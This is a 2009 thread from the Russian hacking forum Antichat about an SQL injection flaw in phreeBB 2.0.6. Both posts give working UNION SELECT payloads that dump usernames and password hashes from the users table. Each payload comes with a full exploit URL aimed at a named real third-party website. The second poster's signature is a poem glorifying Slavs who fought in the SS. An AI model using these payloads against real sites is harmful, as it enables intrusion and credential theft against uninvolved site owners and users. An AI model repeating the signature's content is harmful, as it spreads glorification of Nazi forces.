HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу phreeBB 2.0.6
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

phreeBB 2.0.6
  #1  
Старый 27.08.2009, 09:30
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию phreeBB 2.0.6
Не путать с phpBB!

SQL-Inj

Продукт: phreeBB
Версия: 2.0.6
Уязвимый скрипт: viewthread.php

PHP код:
$result = mysql_query("SELECT * FROM viewForums WHERE view=$id");
 $msgData = mysql_fetch_array($result); 
Эксплойт:
Код:
-1/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9,10/**/from/**/users--+
Пример:
Код:
http://www.vespaclubbiella.it/forum/viewthread.php?forumid=2&id=-42/**/union/**/select/**/1,2,3,concat_ws(0x3a,userName,userPass),5,6,7,8,9,10/**/from/**/users--+
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием

  #2  
Старый 13.11.2009, 12:28
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию
А че дальше то недобил Дедуль)))))
чет случайно наткнулся)))У меня сорцов нету , не смог ни где скачать)((((((

Файл : viewforum.php
exploit :

Код:
-1+union+select+1,concat_ws(0x3a,userName,userPass),3,4,5,6,7,8+from+users--
Пример:
Код:
http://ilcuckold.altervista.org/forum/viewforum.php?id=-1+union+select+1,concat_ws(0x3a,userName,userPass),3,4,5,6,7,8+from+users--
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
Последний раз редактировалось HAXTA4OK; 13.11.2009 в 12:35..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Заливка шелла на phpBB 2.0.6 через highlights ded2006 Сценарии/CMF/СMS 22 12.01.2006 07:29
Загрузка Шела в РНРбб 2.0.6 •••™NO FEAR™••• Сценарии/CMF/СMS 3 22.12.2005 17:28
Где находиться база данных в phpbb 2.0.6? temon Сценарии/CMF/СMS 14 16.12.2005 10:26
Бажный форум на phpBB 2.0.6 REDACTOR.- Сценарии/CMF/СMS 8 15.03.2005 15:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ